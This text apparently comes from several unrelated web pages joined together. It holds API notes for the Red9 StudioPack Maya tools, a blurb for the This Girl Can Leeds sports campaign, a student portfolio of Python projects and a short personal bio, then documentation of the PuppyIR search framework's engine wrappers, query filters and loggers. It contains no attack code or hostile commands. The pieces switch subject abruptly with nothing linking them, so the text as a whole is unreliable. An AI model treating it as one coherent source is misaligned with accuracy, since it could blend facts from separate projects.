()¶ this is a bodge really, but needed to remap the UI scales to 4k setups in some of the core StudioPack UI’s. This basically uses a scaling factor based on the DPI of the screen setups. This is also used in ProPack to control some of the widget sizes so we can consistently scale icon widgets as expected.
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mayaVersion
()¶ get the application version back, this doesn’t track service packs or extensions TODO: need to manage this better and use the API version, eg: 2013.5 returns 2013
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mayaInstallDir
()¶ This is more for future reference, we read the key from the win registry and return the MAYA_INSTALL_LOCATION
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mayaVersionRelease
()¶ get the api version back so we can track service packs etc
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mayaRelease
()¶ wrap over the version and api to return EXT builds that modify the codebase significantly, prefs being set to 20XX.5 is a general clue but we use the api build id to be specific
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mayaVersionQT
()¶
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mayaPrefs
()¶ Root of Maya prefs folder
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mayaUpAxis
(setAxis=None)¶
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osBuild
()¶
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framerate_mapping
(value=None, asAPI=False, truncate_float=False)¶ single place to convert fps data between string representation, actual float(fps) and MTime.unit if no valuye is passed we return a full mapping dict {pal: (25, OpenMaya.MTime.kPALFrame), …}
Parameters: - value – if float or int we convert the data to timeUnit (‘pal’,’ntsc’,….) if value is a string we convert to actual fps as float
- asAPI – if value was given and this is True we return the OpneMaya.MTime.kUnit for the value
- truncate_float – round(fps, 3) round the float to 3 decimal places.
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getCurrentFPS
(return_full_map=False)¶ returns the current frames per second as a number, rather than a useless string
Parameters: return_full_map – if True we return a dictionary of timeUnit:fps rather than the current actual fps - useful for debugging
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addToMayaMenus
()¶ Red9 Additions to the Maya Menu’s themselves, additions to the timeSlider, fileMenu ETC..
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addAudioMenu
(parent=None, rootMenu='redNineTraxRoot', prefix='')¶ Red9 Sound Menu setup
Parameters: - parent – parent UI to add the items too
- rootMenu – name of the new rootMenu built
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red9ButtonBGC
(colour, qt=False, widget=None)¶ Generic setting for the main button colours in the UI’s
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red9ContactInfo
(*args)¶ launch the stand-in UI for ProPack
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red9Presets
()¶ get the default presets dir for all filterSettings.cfg files
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red9Presets_get
()¶ generic extraction of all cfg presets from the default location above
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red9PoseHandlers
()¶ get the default dir for all custom posehandlers in the presets, used to overload the behaviour of the poseSaver setups
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red9PoseHandlers_get
()¶ return the posehandler files themselves from the default location
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red9EntryPoint
()¶ Return the root folder, one up from the ModulePath below
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red9ModulePath
()¶ Returns the Main path to the Red9 root module folder
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red9MayaNativePath
()¶ Returns the MayaVersioned Hacked script path if valid and found
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red9_help
(*args)¶ open up the Red9 help docs
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red9_pro_docs_path
(*args)¶ path to the red9 ProPack docs docs
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red9_blog
(*args)¶ open up the Red9 Blog
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red9_website_home
(*args)¶ open up the Red9 Consultancy homepage
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red9_facebook
(*args)¶ open up the Red9 Facebook Page
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red9_twitter
(*args)¶ Open up the Red9 Twitter feed
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red9_vimeo
(*args)¶ open up the Red9 Vimeo Channel
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red9_apidocs
(*args)¶ open up the Red9 Vimeo Channel
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red9_getVersion
()¶
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red9_getAuthor
()¶
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get_pro_pack
(*args)¶ launch the stand-in UI for ProPack
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addScriptsPath
(path)¶ Add additional folders to the ScriptPath
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addPluginPath
(path=None)¶ Make sure the plugin path has been added. If run as a module this will have already been added
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addIconsPath
(path=None)¶ Make sure the icons path has been added. If run as a module this will have already been added
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addPythonPackages
()¶ Add the packages folder which is where any external modules will be stored
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sourceMelFolderContents
(path)¶ source all mel files in a given folder
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delete_shelf
(shelf_name)¶ Delete maya shelf and update maya shelf optionVars :param shelf_name: string: name of the shelf to be deleted :return:
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load_shelf
(shelf_path)¶ load Maya shelf :param shelf_path: string: file path to maya shelf
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pro_pack_path
()¶
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has_pro_pack
()¶ Red9 Pro_Pack is available and activated as user
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exception
ProPack_UIError
(*args)¶ Bases:
exceptions.Exception
custom exception so we can catch it, this launched the get ProPack UI
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exception
ProPack_Error
(*args)¶ Bases:
exceptions.Exception
custom exception so we can catch it. This is an in-function error
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class
pro_pack_missing_stub
¶ Bases:
object
Exception to raised when the the Pro_Pack is missing and the stubs are called
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get_pro_pack_user_dir
()¶ Returns: string with Red9pro user directory path, this directory is mainly use to store Red9 pro pack user files
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get_pro_pack_prefs
()¶ Returns: string with Red9pro prefs directory path, this directory is mainly use to storing user setting files
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has_internal_systems
()¶ Red9 Consultancy internal modules only
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internal_module_path
()¶
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red9ProPackVersion
()¶ use r9pro_version file to get ProPack build version :return: string build version
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red9ProPackInfo
(*args)¶ launch the stand-in UI for ProPack
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client_core_path
()¶
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has_client_modules
()¶ Red9 Client Modules is the distribution of bespoke code to clients that tightly integrates into our ProPack core
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get_client_modules
()¶ get all client modules ready for the boot sequence
# TODO: link this up with a management setup so we can determine which client to boot if we have multiple client repositories in the system.
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clients_booted
()¶ return the client modules booted by the system
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class
Client_Manager
(*args)¶ Bases:
object
simple Client select manager which we trigger as a layoutDialog so it’ acts like a confirmDialog and pauses till you hit one of the confirmation buttons / is closed
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show
()¶
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add_client
(client, *args)¶
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remove_client
(client, *args)¶
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close_and_return
(mode, *args)¶
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boot_client_projects
(batchclients=None, clientsToBoot=[])¶ Boot Client modules found in the Red9_ClientCore dir. This now prompts if multiple client projects were found.
Parameters: batchclients – aimed as use during mayaBatch to denote what we’re actually going to boot when there’s multiple clients. None, [] or [‘clientA’, ‘clientB’,…] if None we do NOT boot any of the ClientCore modules if [] we boot all available ClientCore modules if [‘clientA’, ‘clientB’,… ] we boot all clients matching the given
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start
(Menu=True, MayaUIHooks=True, MayaOverloads=True, parentMenu='MayaWindow', batchclients=None)¶ Main entry point for the StudioPack :param Menu: Add the Red9 Menu to the Maya Main Menus :param MayUIHooks: Add the Red9 hooks to Maya Native UI’s :param MayaOverloads: run the Maya native script hacks for Red9 - integrates into native Maya ui’s
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reload_Red9
(*args)¶ careful reload of the systems to maintain the integrity of the MetaData registry setups for pro_pack, client_core and internals


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This Girl Can Leeds is part of the national This Girl Can campaign developed by Sport England together with a range of partners to encourage women to take part in sport.

We want the women of Leeds to run, roll, move, pedal, swim and shoot for the netball hoop. If you want to try a new sport or get back into a sport that you previously loved now is the time!
Here is a short video that highlights what we have to offer


This is a system which has been developed to operate in the current fast world we are living in. Feedbacks are necessary for improvement of any institution or organization. This system will be able to take periodic feedbacks from an educational institution using a chatbot in a human friendl way. There will be no predefined questions, the question generated will depend on the response of the user. Since the system will deal with lot of chats and emotions, sentiment analysis and natural language processing will come into the picture. Moreover, data analytics is needed to analyse and seggregate the data. Machine Learning algorithms will be needed in order to customize and prepare the chatbot.
Anindita Guha
Harsh Patel
Vatsal Mistry
Nitin Lalwani
Building a simple Graphical user interface might seem easy but when it comes to creating a user interface for a big project from the scratch it might start getting hectic. Graphical User Interface IDE will help you to create any interface using drag/drop methods. It is convenient yet less time consuming. Hence, we have come up with the idea of creating a User interface IDE using the programming language Python. There are certain IDE's in the market for python, but we are creating this system to overcome the downsides of the existing one's.
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This project our ours was to create a system which would automatically detect the color from a palette or an image. There are a lot of methods in Image Processing which can directly do that, yet we designed the system from the scratch without using any high end libraries. We have trained the system using machine learning algorithms such as logistic regression. We used Matplotlib to visualise the occurence of type of color that have been detected correctly as well as incorrectly.
Anindita Guha
Harsh Patel
This toolkit is used for encoding and decoding certain set of instructions or sentences. There are variety of traditional ciphers such as vigenere, playfair, one time pad etc. that aids to the encryption and decyption process. The programming is done using Python language. I have developed an interactive and visualy appealing graphical user interface using Tkinter module of python.
Anindita Guha
We have been victims of false rumours and news from unauthorized sources all over the world. We have devised a solution to create a website for news articles which will be completely showcasing the real news from authorized sources and avoid the negativity as well. We are using machine learning algorithms to fetch and detect the relevant news from collection of news and eradicate the rest. This can be eventually trained to focus and display news according to the pattern/interests of the users.
Anindita Guha
Harsh Patel
Worked on creating an automatic reminder application for various documents needed for the international students for our university. A system where students in the institution gets reminders as messages or E-mail, where the students data is to be kept updated in an excel file. Application automatically fetches the data and sends reminders everyday to the selected students.
Harsh Patel
Vatsal Mistry
We have developed a system which will be used to control the login aspect of the university portal on one click. User can add and use many login Id's one after the other automatically. It is useful in universities where every Id has specific time limit or limited data acess. We created an interactive user interface that is quite delightful to use.
Anindita Guha
Harsh Patel
For non-English speakers it becomes a tough task to remember and apply the english words. Therefore I developed an application that will be helpful to strengthen our vocabulary. Periodically,the application will pop up a window on the screen displaying random words with their appropriate meanings. The words might repeat itself after certain time. Learning is a process, where testing plays a major role too, therefore I have added a feature of quiz competition which will ask questions based on the words that have been displayed on the screen several times.
Harsh Patel
This program finds the rank of any website provided. It basically finds the rank from Google Search Engine. We deploy our websites and then sometimes it becomes really hard to know on which page it is currently, and this application is a solution to that problem. We provide our website url and it finds the rank of the website on Google search engine.
Harsh Patel
Whenever it comes to a person using a Linux platform for the first time, it gets boring due to the lack of interactivity. To overcome that, I have experimented with the Linux Panel Design.
Harsh Patel
Sometimes it becomes hectic to google every time you don't understand the meaning of a word. I have created an application that helps you to search the meaning of any word or sentence for that matter. You just need to run the application and whenever you find a word just click there, a window will pop up displaying meaning of the word along with synonym and usage of the word in a sentence.
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We have all heard and used bluetooth and other applications such as 'xender' and 'Share It' for transferring our files to other mobiles of PC. We go through the trouble of pendrives to transfer PC to PC. Hence we have devised an application using socket programming which will aid in transferring of files and communication between two computer easily.
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I'm an aspiring software developer journeying through life! Currently I'm studying
software engineering at the University of Waterloo. In my spare time you can usually find me
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my favourite hobbies and interests to develop my projects. I'm always trying to learn more about
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This module contains classes for building a service.
Models the configuration of a QueryFilter pipeline, Search Engine, and a ResultFilter pipeline.
Add one or more filters. Detects filter type (e.g., QueryFilter, ResultModifier) and places in appropriate pipeline.
Add filter to query filter pipeline.
Add modifier to query modifier pipeline.
Add filter to result filter pipeline.
Add filter to result filter pipeline.
Remove all existing filters.
Replace existing filters with new filters.
Search with query and result filter pipelines active.
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Search without query and result filter pipelines.
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This module contains an alternate paradigm for creating a PuppyIR based service, where you construct one Pipeline, store multiple search engines and then either: search all or, search a specific one using the Pipeline. See: Paradigm 2 - One Pipeline, Many Search Engines for an explanation of this paradigm and Pipeline Tutorial: DeeSe (Detective Search) for details about how to go about using it to create an application.
Models the configuration of a Pipeline (QueryFilters/Modifiers and ResultFilters/Modifiers) and the search engines using the Pipeline
Add one or more filters. Detects filter type (e.g., QueryFilter, ResultModifier) and places in appropriate pipeline.
Add filter to query filter pipeline.
Add modifier to query modifier pipeline.
Add filter to result filter pipeline.
Add filter to result filter pipeline.
Remove all existing filters.
Replace existing filters with new filters.
Search all the search engines currently stored by our ‘SearchEngineManager’ using the query and result pipeline as currently defined.
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Search a specific search engine only, if it’s currently stored by our ‘SearchEngineManager’ using the query and result pipeline as currently defined.
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Manages a collection of search engines the Pipeline Manager can act upon
Adds a search engine to the Pipeline Manager if it’s valid and not already stored by the Manager
Remove all existing search engines.
If the specified search engine is stored return it, otherwise, return None
Return all the currently stored search engines
Removed a search engine from the Pipeline Manager if it’s currently stored by the Manager
Abstract search engine interface.
Configure urllib2 opener with network proxy if one has been added to the parent services config dictionary
Perform a search, retrieve the results and process them into the response format.
N.B. This should be implemented in the derived classes.
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Use for exceptions in which the search engine wrapper fails - this can be for multiple reasons, for example: the lack of a proxy server in config or a search service being down. Callers should respond to this, in a way that fails gracefully.
Use for exceptions in which the API for a wrapper, which requires one, has not been supplied. Callers should respond in such a way that the developer, it is not intended for users of an application, are aware of the issue and so can take the necessary steps to rectify the issue.
Bing search engine wrapper.
Note: you can only use location based searching with sourcetypes ‘web’ and ‘phonebook’; however, with web, it doesn’t appear to have any effect.
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Bing search engine wrapper for Version 2.2 of the API - allowing for a large variety of source types to be searched.
One of the key advantages of using this wrapper is using the new features and also being able to use multiple sources to create a mash-up. i.e. source=”Web+Image” gets results from the web and also image search services.
You must include your application’s Bing ID in your service manage config to use this service. It should be under the identifier “bing_api_key”
If you use the ‘Spell’ source, then you must set the ‘market’ parameter to match the language you are querying in i.e. English UK set Market to en-gb or Dutch set it to nl-nl
Parameters:
– ‘Image’ and ‘Video’ only – * filters (str): filter options split up by ‘+’ you can only have one of each type see Bing API documentation for what these are
– ‘Video’ and ‘News’ only – * sortBy (str): sort news by either ‘Date’ or ‘Relevance’
– ‘News’ only – * newsCategory (str): what sort of news is wanted - see BingAPI for list of options, for example: ‘rt_ScienceAndTechnology’
Digg search engine wrapper.
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EmmaSearch search engine.
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A new version of the above (EmmaSearch) wrapper allowing for searching the Emma Hospital database using a Microsoft’s SQL server.
Due to this SQL Server import being an extra (see the installation section for details about installing it), rather than required, you cannot import this wrapper from ‘puppy.search.engine‘ like the above wrappers; you import them using the code below:
from puppy.search.engine.emmasearchMSSQL import EmmaSearchMSSQL
Flickr search engine.
You must include your application’s Flickr ID in your service manage config to use this service it should be under the identifier “flickr_api_key”
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GoogleGeocode search service.
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Google search engine.
Google have regrettfully retired this search api
Code is left here for reference purposes
Google’s Books search engine api.
See Google’s documentation for how to specify advanced queries e.g. Hobbit+inauthor:Tolkien
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Guardian search engine api for searching for news stories.
Warning: ‘StandFirst’ is the result field used for description; it is a form of abstract for the news story. It can however, contain html tags and so when processing these results in an application this needs to be taken into account.
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iTunes search engine wrapper - allowing for Track, Album and Artist search results to be retrieved
If you change either lang or country change the other variable to match i.e. change lang to ‘en_gb’ you should also change country to ‘gb’ to match or vice-versa.
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LastFM search engine wrapper - allowing for Track, Album and Artist search results to be retrieved
You must include your application’s LastFM ID in your service manage config to use this service. It should be under the identifier “last_fm_api_key”
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– ‘Track’ Only Parameters – * artist (str): the artist for the tracks you are searching for
Picassa search engine.
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Rotten Tomatoes search engine.
You must include your application’s Rotten Tomatoes ID in your service manage config to use this service it should be under the identifier “rotten_tomatoes_api_key”
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Simple Wikipedia search engine.
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SoundCliud search engine wrapper for a music sharing application allowing the searching for tracks.
You must include your api key for Wordnik in your service manage config to use this service. It should be under the identifier “soundcloud_api_key”
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Spotify search engine.
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Twitter search engine.
Geocode format is: latitude,longitude,radius - for example: ‘37.781157,-122.398720,1mi’
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Register for an API key here: http://www.webservius.com/services/spellcheck/spellcheck
Web Spell Checker’s search engine api.
You must include your application’s Web Spell Checker Api key in your service manager config to use this service It should be under the identifier “web_spell_api_key”
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Wikipedia search engine.
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Worknik search engine wrapper for their dictionary based API. This wrapper allows for searching for spelling corrections, examples of the usage of a word (in web results), and also definitions for a word.
This API is only for English however, other languages are not supported.
You must include your api key for Wordnik in your service manage config to use this service. It should be under the identifier “wordnik_api_key”
With sourceDictionaries (see below) you can select multiple values i.e. ahd,webster but this will just return the first definition from ahd or if it doesn’t have one from webster
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– Definitions Only Parameters – * sourceDictionaries (str): the dictionary to search, if blank it defaults to the first definition. Other options are: ‘all’, ‘ahd’, ‘century’, ‘wiktionary’, ‘webster’, ‘wordnet’
Yahoo search engine.
You must include your application’s Yahoo ID in your service manage config to use this service. It should be under the identifier “yahoo_api_key”
YouTube search engine API version 2.
The orderBy parameter allows results to be filtered by their language relevence - see below for more.
N.B. in the text below replace <languageCode> with a code i.e. English: ‘en’, Dutch: ‘nl’ depending upon your applications needs.
Parameters:
resultsPerPage (int): results per page
safeSearch (str) : default is strict it’s not recommended to change this
orderBy: (str) rating, viewCount, relevance, relevance_lang_<languageCode>
format (int): this defines if videos must conform to a standard for example 5 means only videos that can be embedded
location (str): defines the location the videos should be from, in the format ‘lat,lon’
the valid units are: m, km, ft and mi
onlyLocation (boolean): only return results with a location (i.e. a geotag)
The following two wrappers both require Whoosh to be installed, for instructions for installing Whoosh see Requirements and Installation.
Due to Whoosh being an extra, rather than required, you cannot import them from ‘puppy.search.engine‘ like the above wrappers; you import them using the code below:
from puppy.search.engine.whooshQueryEngine import WhooshQueryEngine
from puppy.search.engine.whooshQuerySuggestEngine import WhooshQuerySuggestEngine
Whoosh Query log search engine.
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Whoosh Query log search engine.
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Data model for search results. Response has four main attributes:
Returns the number of results per page, as reported by the search engine (usually, 10, except for Google, 8)
This number is used mainly by page algorithms.
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Returns the start item for the current “page”, as reported by the search engine. It is usually 0 or items per page * page number
This number is used mainly by page algorithms.
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Returns the number total of results, as reported by the search engine.
This number is used mainly by page algorithms.
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Parses a RSS/ATOM feed of Opensearch results
Parse a JSON document of Opensearch suggestions
Parse a XML document of Opensearch suggestions
Creates an XML from a OpenSearch Response.
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Creates JSON from a Response object.
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Creates an RSS feed from a Response object.
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OpenSearch Query.
Models an OpenSearch Query element.
See: http://www.opensearch.org/Specifications/OpenSearch/1.1#OpenSearch_Query_element
Parse OpenSearch Query XML.
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TODO code Query.parse_xml()
Creates XML for OpenSearch Query.
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TODO code Query.write_xml()
OpenSearch Description.
Models an OpenSearch Description document.
See: http://www.opensearch.org/Specifications/OpenSearch/1.1#OpenSearch_description_document
Parse OpenSearch Description XML.
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TODO code Description.parse_xml()
Creates XML for an OpenSearch Description document.
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TODO code Description.write_xml()
Use for exceptions in which the filter operationally failed and the filter’s function cannot be realized. Callers should respond to this as if a modification or rejection decision cannot be made, as opposed to puppy.query.QueryRejectionError, in which case the query should not be issued.
Use for exceptions in which the modifier operationally failed and the modifier’s function cannot be realized. Callers should respond to this as if a modification or rejection decision cannot be made, as opposed to puppy.query.QueryRejectionError, in which case the query should not be issued.
The BlackList filter looks at the query to check if any terms are contained within the black list if so, they are rejected.
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Rejects queries containing profanity using WDYL (by Google).
What this does is query the service, which returns a JSON response of true or false depending upon the presence, or not, of profanity.
Warning: there is a marked delay in waiting for a response from this service - overuse can lead to poor performance.
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Creates a set of suggestions based upon the query search terms.
As of July 2011, Sergio’s web service no longer responds and is therefore not usable.
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The Whoosh Query Logger, like the search engine wrappers for Whoosh, requires Whoosh to be installed, for instructions for installing Whoosh see Requirements and Installation.
Due to Whoosh being an extra, rather than required, you cannot import it from ‘puppy.query.filter‘ like the above filters; you import the Whoosh Query Logger using the code below:
from puppy.query.filter.whooshQueryLogger import WhooshQueryLogger
Logs the queries in a Whoosh Index, Creates a Whoosh Index to store queries if there is no index in the dir given with a Schema(title=ID(unique=True, stored=True), content=TEXT(stored=True), ncontent=NGRAM(stored=True), issued=DATETIME(stored=True)) Parameters:
This modifies queries by replacing mispelt words with the first “correct” spelling found.
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Warning: this requires the PyEnchant library to be installed
Expands original query terms with extra terms.
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Base class for QueryModifiers aiming to modify queries to be more child-directed, e.g., appending for kids to query, creating Q -> Q. After modification, the Google Suggest service is checked for the presence of Q; if it exists as a frequenty query, Q is returned to the caller; otherwise, Q (the original query) is returned (hence a null operation).
Base class for QueryModifiers aiming to modify queries to be more child-directed, e.g., appending for kids to query, creating Q -> Q. After modification, the Google Suggest service is checked for the presence of Q; if it exists as a frequenty query, Q is returned to the caller; otherwise, Q (the original query) is returned (hence a null operation).
Filters search results based on either a specific age or if the age is within an age range defined by the result.
Note: there is no default value for ‘age’ it must be passed to this filter so that it can be customised for the application using it.
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Filters search results and rejects ones already stored by an application. This is done by default by checking the link field of new results against a list of ones currently stored by the application. If found, they are rejected.
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Filters search results based on a list of words to exclude, if any of these are found the result in question is rejected.
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Filters results with profanity in them by using the wsdl service.
- Pros:
- no hardcoded blacklist. they do the effort in keeping the service effective
- Cons:
- URL call. This can mean delay. Effort should be made to parallelize the pipeline so that this effect is minimal.
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This filter evaluates a result on its suitability for children by assigning it a score of 0 (unsuitable) to 1.0 (100% suitable). For an example of how to use this filter check out the SeSu prototype - see Running Prototypes for details on how to install and run this prototype.
N.B. this filter requires Java to be installed and present on the system path (see: Requirements and Installation for more).
Filters search results based on the results’ suitability for children.
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Logs queries for a SearchService.
The QueryLogger will log all queries submitted to a SearchService, sending them to:
The QueryLogger has five logging modes:
Create a new logger with a specific handler
Find the log_dir if none was passed in the constructor.
Checks the service config files, then defaults to creating a log directory in the current working directory
logs a query using a simple [ISO Timestamp, Query Terms] format
The EventLogger will log all events submitted to it from an application (either standalone or Django)
The EventLogger has three logging modes:
Create a new logger with a specific handler
Works out what the log directory will be. There are three cases:
Logs a query using a simple [ISO Timestamp, Identifier, Action, Data] format


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